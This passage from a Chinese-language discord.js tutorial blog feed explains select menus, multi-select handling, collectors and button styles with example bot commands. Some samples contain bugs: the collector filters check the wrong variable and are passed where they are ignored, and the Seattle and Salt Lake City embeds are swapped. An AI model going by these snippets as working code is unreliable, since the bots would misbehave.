(interaction.isMentionableSelectMenu()) {\n\tconsole.log(\"a mentionable select menu!\");\n}\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/f306c472de37580acc14fabfe6d09dca07ff59a6#diff-5ee61780af95f78329f68020bc0a8de616c98b4b416554d60606744cffa51af2\u003c/p\u003e\n\u003ch3\u003e建立一个下拉菜单\u003c/h3\u003e\n\u003cp\u003e下拉菜单(Select Menu)是交互组件(Component)的一种。\u003c/p\u003e\n\u003cp\u003e在新建一个下拉菜单之前,你需要先导入这里用到的 ActionRowBuilder 和 StringSelectMenuBuilder。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, StringSelectMenuBuilder } = require('discord.js');\n\nconst row = new ActionRowBuilder()\n .addComponents(\n new StringSelectMenuBuilder()\n .setCustomId('select_1')\n .setPlaceholder('Nothing selected')\n .addOptions(\n {\n label: 'Las Vegas, NV',\n description: 'This is a description',\n value: 'Las_Vegas_NV_US',\n },\n {\n label: 'Denver, CO',\n description: 'This is also a description',\n value: 'Denver_CO_US',\n },\n ),\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这个下拉菜单长这样:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130819101-1051976461.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e需要指出的是,customId 是一个由程序员指定的长度不超过 100 字符的字符串。尽量不要让它们的 customId 与其他交互组件的 customId 重复,从而让 filter 更轻松地工作。\u003c/p\u003e\n\u003cp\u003e每条消息最多可以有五个 ActionRow,一个 ActionRow 中可以有一个选择菜单。\u003c/p\u003e\n\u003cp\u003e你可以为一条下拉菜单消息指定 \u003ccode\u003eephemeral: true\u003c/code\u003e 和 \u003ccode\u003eembeds: []\u003c/code\u003e 来丰富样式。\u003c/p\u003e\n\u003ch3\u003e如何回复下拉菜单事件:交互事件收集器\u003c/h3\u003e\n\u003cp\u003e建立收集器前,先建立 filter。具体看上一章。不够你也可以直接看下面例子的代码,应该也能看懂。\u003c/p\u003e\n\u003cp\u003e上一章按钮里讲过,你可以在频道 channel 上建立一个 MessageComponentCollector, 也可以选择在 message 上建立 MessageComponentCollector,二者都能完成对某一条交互事件的收集,但是二者的收集范围各有不同。\u003c/p\u003e\n\u003cp\u003e(如果代码上文里有 async 的话,才需要用 await)\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003econst collector = await interaction.channel.createMessageComponentCollector()\u003c/code\u003e 来在 channel 上建立一个消息事件收集器。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003econst message = await interaction.fetchReply(); const collector = await mesage.createMessageComponentCollector()\u003c/code\u003e 在 bot 最后回复的 message 上建立一个交互组件事件的收集器。\u003c/p\u003e\n\u003cp\u003e具体看代码:\u003ccode\u003ecommmands/menus/selectMenu.js\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e相关 commit:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/a79b1e61d8e3e837a2934577837c8447f6f88777#diff-1184ab849c7784c7807f8c257df3a3190b2a16328a41dcad3754ee0d3ed6d0af\u003c/li\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/f306c472de37580acc14fabfe6d09dca07ff59a6#diff-1184ab849c7784c7807f8c257df3a3190b2a16328a41dcad3754ee0d3ed6d0af\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, EmbedBuilder, StringSelectMenuBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('selectmenu')\n .setDescription('Replies with a select menu!'),\n async execute(interaction) {\n\n const row = new ActionRowBuilder()\n .addComponents(\n new StringSelectMenuBuilder()\n .setCustomId('select_1')\n .setPlaceholder('Nothing selected')\n .addOptions(\n {\n label: 'Las Vegas, NV',\n description: 'This is a description',\n value: 'Las_Vegas_NV_US',\n },\n {\n label: 'Denver, CO',\n description: 'This is also a description',\n value: 'Denver_CO_US',\n },\n ),\n );\n\n const embed1 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Live Weather Report')\n .setURL('https://weather.com/weather/today/l/Las+Vegas+NV?canonicalCityId=8699c391df74aabce6a01ab22e01fd094d01ff77fcc7ef7e314ea4067fbc1066')\n .setDescription(`Las Vegas, NV\\nAs of ${Math.floor(Math.random() * 11) + 1}:${10 + Math.floor(Math.random() * 49)} am PST\\n38°F\\nClear\\nDay ${Math.floor(Math.random() * 10) + 55}°F • Night ${35 - Math.floor(Math.random() * 10)}°F`);\n const embed2 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Live Weather Report')\n .setURL('https://weather.com/weather/today/l/3f345b93f02bdea125a122a4798a6b17174a3153bb0f45b4d5238343613d7368')\n .setDescription(`Denver, CO\\nAs of ${Math.floor(Math.random() * 11) + 1}:${10 + Math.floor(Math.random() * 49)} am PST\\n25°F\\nClear\\nDay ${Math.floor(Math.random() * 10) + 47}°F • Night ${25 - Math.floor(Math.random() * 10)}°F`);\n\n await interaction.reply({ content: \"Choose a city to see its weather report:\", components: [row], embeds: [] });\n\n const filter = i =\u0026gt; {\n return interaction.customId === 'select_1' \u0026amp;\u0026amp; i.user.id === interaction.user.id;\n }\n\n const message = await interaction.fetchReply();\n const collector = message.createMessageComponentCollector(\n filter,\n );\n\n collector.on('collect', async i=\u0026gt; {\n await i.update({ content: 'Selected! Syncing the weather data...', components: [], embeds:[] });\n await wait(3750); // wait 3.75 secs to emulate the delay of the network\n const city = Array.from(i.values)[0];\n if (city === 'Las_Vegas_NV_US') {\n await i.editReply({content: \"Here's your weather report!\", embeds: [embed1], components: [row]});\n } else if (city === 'Denver_CO_US') {\n await i.editReply({content: \"Here's your weather report!\", embeds: [embed2], components: [row]});\n }\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130839162-751537786.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130846070-957290113.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130927974-1295632187.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130934003-1189860505.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多项选择下拉菜单:\u003c/h3\u003e\n\u003cp\u003e前面的下拉菜单是单选的,如果我们需要多选或者对用户的选择数量进行限制比如1到3项呢?\u003c/p\u003e\n\u003cp\u003e我们可以在建立 SelectMenu 的时候,设置 \u003ccode\u003e.setMinValues()\u003c/code\u003e 和 \u003ccode\u003e.setMaxValues()\u003c/code\u003e 来指导用户的最少选择量和最大选择量。\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003ecommands/menus/multiSelect.js\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e相关 commit:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/a79b1e61d8e3e837a2934577837c8447f6f88777#diff-69116720e7a64621abca0d97ad15c72efe94d5b08c0fcb2c5f895d121b29034c\u003c/li\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/f306c472de37580acc14fabfe6d09dca07ff59a6#diff-69116720e7a64621abca0d97ad15c72efe94d5b08c0fcb2c5f895d121b29034c\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, EmbedBuilder, StringSelectMenuBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('multiselect')\n .setDescription('Replies with a multi-select menu!'),\n async execute(interaction) {\n\n const row = new ActionRowBuilder()\n .addComponents(\n new StringSelectMenuBuilder()\n .setCustomId('select_1')\n .setPlaceholder('Nothing selected')\n // here we demand our friendly user to choose more than 2 options while less than 4 options\n .setMinValues(2)\n .setMaxValues(4)\n .addOptions(\n {\n label: 'Las Vegas, NV',\n description: 'This is a description',\n value: 'Las_Vegas_NV_US',\n },\n {\n label: 'Denver, CO',\n description: 'This is also a description',\n value: 'Denver_CO_US',\n },\n {\n label: 'Houston, TX',\n description: 'This is also a description',\n value: 'Houston_TX_US',\n },\n {\n label: 'Seattle, WA',\n description: 'This is also a description',\n value: 'Seattle_WA_US',\n },\n {\n label: 'Salt Lake City, UT',\n description: 'This is also a description',\n value: 'Salt_Lake_City_UT_US',\n },\n ),\n );\n\n const embed1 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Las Vegas\\nCity in Nevada')\n .setDescription(`Las Vegas, often known simply as Vegas, is the 25th-most populous city in the United States, the most populous city in the state of Nevada, and the county seat of Clark County. The city anchors the Las Vegas Valley metropolitan area and is the largest city within the greater Mojave Desert.\\n` +\n `Sales tax: 8.38%\\n` +\n `Time zone: Pacific Standard Time, GMT-8`);\n const embed2 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Denver\\nCity in Colorado')\n .setDescription(`Denver, the capital of Colorado, is an American metropolis dating to the Old West era. Larimer Square, the city’s oldest block, features landmark 19th-century buildings. Museums include the Denver Art Museum, an ultramodern complex known for its collection of indigenous works, and the mansion of famed Titanic survivor Molly Brown. Denver is also a jumping-off point for ski resorts in the nearby Rocky Mountains.\\n` +\n `Sales tax: 8.81%\\n` +\n `Time Zone: Mountain Standard Time, GMT-7`);\n const embed3 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Houston\\nCity in Texas')\n .setDescription(`Houston is a large metropolis in Texas, extending to Galveston Bay. It’s closely linked with the Space Center Houston, the coastal visitor center at NASA’s astronaut training and flight control complex. The city’s relatively compact Downtown includes the Theater District, home to the renowned Houston Grand Opera, and the Historic District, with 19th-century architecture and upscale restaurants.\\n` +\n `Sales tax: 8.25%\\n` +\n `Time zone: Central Standard Time, GMT-6`);\n const embed4 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Seattle\\nCity in Washington State')\n .setDescription(`Seattle, a city on Puget Sound in the Pacific Northwest, is surrounded by water, mountains and evergreen forests, and contains thousands of acres of parkland. Washington State’s largest city, it’s home to a large tech industry, with Microsoft and Amazon headquartered in its metropolitan area. The futuristic Space Needle, a 1962 World’s Fair legacy, is its most iconic landmark.\\n` +\n `Sales tax: 10.25%\\n` +\n `Time zone: Pacific Standard Time, GMT-8`);\n const embed5 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Salt Lake City\\nCity in Utah')\n .setDescription(`Salt Lake City is the capital and most populous city of Utah, as well as the seat of Salt Lake County, the most populous county in Utah. With a population of 200,133 in 2020, the city is the core of the Salt Lake City metropolitan area, which had a population of 1,257,936 at the 2020 census.\\n` +\n `Sales tax: 7.75%\\n`+\n `Time zone: Mountain Standard Time, GMT-7`);\n\n await interaction.reply({ content: \"Choose 2-4 cities to make your very own vacation destination list:\", components: [row], embeds: [] });\n\n const filter = i =\u0026gt; {\n return interaction.customId === 'select_1' \u0026amp;\u0026amp; i.user.id === interaction.user.id;\n }\n\n const collector = interaction.channel.createMessageComponentCollector(\n filter,\n );\n\n collector.on('collect', async i=\u0026gt; {\n await i.update({ content: 'Selected! Fetching the detailed data relating to your choices...', components: [], embeds:[] });\n await wait(3150); // wait 3.15 secs to emulate the delay of the network\n await i.editReply({content: \"Here's your detailed descriptions related to your choices!\", embeds: [], components: []});\n\n const cityArr = Array.from(i.values);\n if (cityArr.includes('Las_Vegas_NV_US')) {\n await i.followUp({content: \"\", embeds: [embed1], components: []});\n }\n if (cityArr.includes('Denver_CO_US')) {\n await i.followUp({content: \"\", embeds: [embed2], components: []});\n }\n if (cityArr.includes('Houston_TX_US')) {\n await i.followUp({content: \"\", embeds: [embed3], components: []});\n }\n if (cityArr.includes('Salt_Lake_City_UT_US')) {\n await i.followUp({content: \"\", embeds: [embed4], components: []});\n }\n if (cityArr.includes('Seattle_WA_US')) {\n await i.followUp({content: \"\", embeds: [embed5], components: []});\n }\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130952741-1113771410.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121131000278-445865959.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121131004833-191889417.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121131007863-1019711950.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e其他操作\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ereply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eeditReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetchReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeleteReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efollowUp()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e获取下拉菜单被选中的值\u003c/h3\u003e\n\u003cp\u003e不论你的下拉菜单是单选、多选还是混合的,下拉菜单返回值是个数组。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e比如单选菜单,i 是收集器里收集到的 interaction 变量:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e\tconst value = Array.from(i.values)[0];\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e如果不是单选:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e\tconst valueArr = Array.from(i.values);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e此时,你可以用简单的 for 遍历数组里的所有值:\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e\tfor (let j=0; j\u0026lt;valueArr.length; j++) {\n\t\tconsole.log(valueArr[j]);\n\t}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如果你想判断该数组是否包含某项:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eif (valueArr.includes('Choice_6')) {\n await i.editReply({content: \"You choosed the sixth option\", embeds: [], components: []});\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e其他 SelectMenu 的类型\u003c/h3\u003e\n\u003cp\u003e在 Discord.js v14.6.0 级更早版本中,SelectMenu 只有它自己这一个类型。\u003c/p\u003e\n\u003cp\u003e而自从 v14.7.1 起,原 SelectMenu 改名为 StringSelectMenu,并增加了 UserSelectMenu、ChannelSelectMenu、MentionableSelectMenu、RoleSelectMenu。\u003c/p\u003e\n\u003cp\u003e对应的 Builder 就是 StringSelectMenuBuilder()、UserSelectMenuBuilder()、ChannelSelectMenuBuilder()、MentionableSelectMenuBuilder()、RoleSelectMenuBuilder()。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-10/"},{"title":"Bot in Discord with discord.js (9)","time":"2022-11-19T00:00:00Z","content":"\u003ch2\u003eChapter 12 - 交互四大组件之:按钮\u003c/h2\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/eef8c0f3fb0ebed69c63eb776128acb28ceb8b3f\nhttps://gitee.com/wtflmao/discord_bot_example/commit/eef8c0f3fb0ebed69c63eb776128acb28ceb8b3f\u003c/p\u003e\n\u003cp\u003e在文件的最后那块儿附近,找到最后一个 else,在这个 else 上面插入一种新情况,用于按钮:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eelse if (interaction.isButton()) {\n\tconsole.log(\"a button!\");\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e新建一个操作行 ActionRow\u003c/h3\u003e\n\u003cp\u003e上来先导入需要的 \u003ccode\u003eActionRowBuilder\u003c/code\u003e,用于建立操作行 ActionRow。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003enew ActionRowBuilder()\u003c/code\u003e 新建。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder } = require('discord.js');\n\nlet row = new ActionRowBuilder()\n .addComponents(\n ... // 此处确定你需要的组件\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e新建按钮 Button\u003c/h3\u003e\n\u003cp\u003e上来先导入需要的 \u003ccode\u003eActionRowBuilder\u003c/code\u003e 和 \u003ccode\u003eButtonBuilder\u003c/code\u003e。前者用于建立操作行,后者用于建立一个按钮。按钮需要被包含到一行操作行上去。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003enew ButtonBuilder()\u003c/code\u003e 新建一个按钮。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder } = require('discord.js');\n\nlet row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n\t // 设置按钮自定义 ID\n .setCustomId('button1')\n\n\t\t\t// 设置按钮标签,就是按钮上的字\n .setLabel('Click me!')\n\n\t\t\t// 设置按钮样式,具体在下一小节有讲\n .setStyle(ButtonStyle.Primary)\n\n\t\t\t// 设置按钮是否被禁用,这里的 false 表示未被禁用\n .setDisabled(false)\n\n\t\t\t// 设置一个 Emoji 前缀\n .setEmoji('😀'),\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这个按钮的样式如图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119140537206-293552005.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e五种按钮的基本样式\u003c/h3\u003e\n\u003cp\u003e按钮(Button)是组件(Component)的一种,通过 \u003ccode\u003ecomponents: []\u003c/code\u003e 指定哪些按钮将发送出去。\u003c/p\u003e\n\u003cp\u003e一条消息里最多加入五个按钮。准确来说,是最多五个组件(components),按钮是组件的一种。\u003c/p\u003e\n\u003cp\u003e按钮有五种样式:Primary、Secondary、Success、Danger 和 Link,下面用 \u003ccode\u003ecommands/buttons/stylishButton.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-81e417f8348606916071c665b42372b6e3a496eec5d6f934c129483d412b941b\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-81e417f8348606916071c665b42372b6e3a496eec5d6f934c129483d412b941b\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('stylishbutton')\n .setDescription('Replies with a button, but stylish!'),\n\n async execute(interaction) {\n\n let button1 = [], button1d = [];\n\n // // 批量生成了五个按钮,保存到数组里,根据下标来确定消息内唯一的 customId\n for (let i = 1; i \u0026lt;= 5; i++) {\n button1.push(new ButtonBuilder()\n // 在同一条回复消息中,你需要确保所有 customId 是不重复的。\n .setCustomId(`b1_${i}`)\n .setLabel(`Click me(${i})!`)\n .setStyle(ButtonStyle.Primary),);\n }\n\n // 批量生成了四个按钮,保存到数组里,根据下标来确定消息内唯一的 customId\n for (let i = 1; i \u0026lt;= 4; i++) {\n button1d.push(new ButtonBuilder()\n // 在同一条回复消息中,你需要确保所有 customId 是不重复的。\n .setCustomId(`b1d_${i}`)\n .setLabel(`Click me(${i})!`)\n .setStyle(ButtonStyle.Primary)\n .setDisabled(true),);\n }\n\n // 在一行里塞了五个按钮\n const rowPrimary = new ActionRowBuilder()\n .addComponents(button1);\n\n const rowSecondary = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b2')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Secondary),\n );\n\n const rowSuccess = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b3')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Success),\n new ButtonBuilder()\n .setCustomId('b3d')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Success)\n .setDisabled(true),\n );\n\n const rowDanger = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // 在同一条回复消息中,你需要确保所有 customId 是不重复的。\n // 这里我们用来随机数生成函数来生成 ID,降低 ID 碰撞的概率。\n .setCustomId(`b4_${Math.floor(Math.random() * 100000)}`)\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Danger),\n );\n\n const rowLink = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // you can't .setCustomId() to a Link button\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Link)\n .setURL(\"https://support.discord.com/hc/en-us\"),\n );\n\n // 在一行里塞了四个按钮\n const rowPrimaryD = new ActionRowBuilder()\n .addComponents(button1d);\n\n const rowPrimary2D = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId(`owo`)\n .setLabel(\"owo\")\n .setStyle(ButtonStyle.Primary)\n .setDisabled(true),\n );\n\n const rowSecondaryD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b2d')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Secondary)\n .setDisabled(true),\n );\n\n const rowDangerD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b4d')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Danger)\n .setDisabled(true),\n );\n\n const rowLinkD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // 你不能对一个链接按钮设置 customId 属性\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Link)\n .setURL(\"https://support.discord.com/hc/en-us\")\n .setDisabled(true),\n );\n\n // 这条消息里我们插了三行 ActionRow 进去。\n await interaction.reply({ content: 'These are some Primary buttons:', components: [rowPrimary, rowPrimaryD, rowPrimary2D], ephemeral: false });\n\n // 这条消息里我们插了两行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Secondary buttons. They are NOT on the same row:', components: [rowSecondary, rowSecondaryD], ephemeral: false });\n\n // 这条消息里我们插了一行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Success buttons. They are on the same row:', components: [rowSuccess], ephemeral: false });\n\n // 这条消息里我们插了两行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Danger buttons. They are NOT on the same row:', components: [rowDanger, rowDangerD], ephemeral: false });\n\n // 这条消息里我们插了两行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Link buttons. They are NOT on the same row:', components: [rowLink, rowLinkD], ephemeral: false });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e使用按钮样式时,要注意第一行要导入 ButtonStyle。\u003c/p\u003e\n\u003cp\u003e我们可以看到,一个回复消息,其实有(至少)四个域:\u003ccode\u003econtent\u003c/code\u003e、\u003ccode\u003ecomponents\u003c/code\u003e 、 \u003ccode\u003eembeds\u003c/code\u003e 和 \u003ccode\u003eephemeral\u003c/code\u003e。其中,\u003ccode\u003econtent\u003c/code\u003e 是必选的,其余是可选的。当只有 \u003ccode\u003econtent\u003c/code\u003e 时,\"content\" 标签可以省略,如:\u003ccode\u003eawait interaction.reply(\"1+1=2\");\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119143142765-1071464031.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e只有链接按钮可以有一个 url。链接按钮不能有 customId,并且在单击时不发送交互事件。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003e.setDisabled(true)\u003c/code\u003e 为一个按钮设置不可点击的属性,这样用户就不能点击这个按钮了。但是你不能向一个已经建成的(即\u003ccode\u003enew ActionRowBuilder()\u003c/code\u003e过的)按钮变量设置新的属性,你必须重新 new 一个按钮出来。\u003c/p\u003e\n\u003ch3\u003e带有前缀 Emoji 的按钮\u003c/h3\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/emojiButton.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-b33acfdadb6c12912fe644066f8ef7e2852f86016539498309b0e2c08b3f5933\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-b33acfdadb6c12912fe644066f8ef7e2852f86016539498309b0e2c08b3f5933\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('emojibutton')\n .setDescription('Replies with a button, bu stylish!'),\n\n async execute(interaction) {\n\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b1')\n .setLabel('Click me!')\n .setStyle(ButtonStyle.Primary)\n .setEmoji('😀'),\n new ButtonBuilder()\n .setCustomId('b2')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Secondary)\n .setEmoji('😁'),\n new ButtonBuilder()\n .setCustomId('b3')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Success)\n .setEmoji('🤣'),\n new ButtonBuilder()\n .setCustomId(`b4`)\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Danger)\n .setEmoji('😇'),\n new ButtonBuilder()\n // you cant .setCustomId() to a Link button\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Link)\n .setURL(\"https://support.discord.com/hc/en-us\")\n .setEmoji('🤪'),\n );\n\n // 一条消息里最多五行 ActionRow,每一行 ActionRow 里最多插入五个包括按钮在内的组件\n await interaction.reply({ content: 'There are some buttons:', components: [row], ephemeral: false });},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119140812249-1843561049.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e注意,这里 \u003ccode\u003e.setEmoji()\u003c/code\u003e 只能设置一个 emoji,且只会出现在按钮 Label 的前面。\u003c/p\u003e\n\u003cp\u003e还有,一条消息里最多五行 ActionRow,每一行 ActionRow 里最多插入五个按钮,准确来说,是最多五个组件(components),按钮是组件的一种。如需五个以上的按钮,可以尝试回复多次,比如 \u003ccode\u003e.followUp()\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003e带有嵌套元素和按钮的回复\u003c/h3\u003e\n\u003cp\u003e通过 \u003ccode\u003enew EmbedBuilder()\u003c/code\u003e 新建一个嵌套元素。注意第一行要导入 EmbedBuilder。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003eembeds: []\u003c/code\u003e 指定哪些嵌套元素将发送出去。\u003c/p\u003e\n\u003cp\u003e嵌套元素不是按钮专属,嵌套元素其实和按钮等组件是平级的。\u003c/p\u003e\n\u003cp\u003e下面的源码注释我个人认为该有的都有了,清晰明了。就不再在这里费笔墨再写一遍了。\u003c/p\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/embeddedbutton.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-f0a9d6890a4e8d5de14146749628d46fc9d5126a38f635f266993e4d35c4dcfa\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-f0a9d6890a4e8d5de14146749628d46fc9d5126a38f635f266993e4d35c4dcfa\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, EmbedBuilder, SlashCommandBuilder } = require('discord.js');\n\nlet updatedBtnMsg = new Map();\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('embeddedbutton')\n .setDescription('Replies with a button, but embedded!'),\n\n async execute(interaction) {\n updatedBtnMsg.set(\"0\", false);\n\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // 随机化 Id 以求好运\n .setCustomId(`b3_${Math.floor(Math.random() * 100000)}`)\n .setLabel(\"Got it! Dismiss.\")\n .setStyle(ButtonStyle.Success),\n );\n\n const rowD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId(`b3d`)\n .setLabel(\"Got it! Dismiss.\")\n .setStyle(ButtonStyle.Success)\n .setDisabled(true),\n );\n\n const hc = new EmbedBuilder()\n 